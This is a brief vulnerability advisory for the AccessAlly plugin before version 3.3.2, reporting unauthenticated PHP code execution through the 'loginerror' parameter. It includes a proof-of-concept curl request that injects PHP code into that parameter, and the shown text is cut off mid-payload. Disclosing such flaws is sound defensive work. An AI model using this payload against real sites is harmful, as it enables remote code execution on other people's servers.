AccessAlly < 3.3.2 - Unauthenticated Arbitrary PHP Code Execution

Prior to version 3.3.2, this plugin allowed arbitrary PHP code execution through the loginerror function. This exploit is out in the wild now and actively being exploited. PoC curl -Ls http://www.example.com/login/?loginerror=%3C?%20$a%20=%20getcwd;%20echo%20$a;%20?%3E...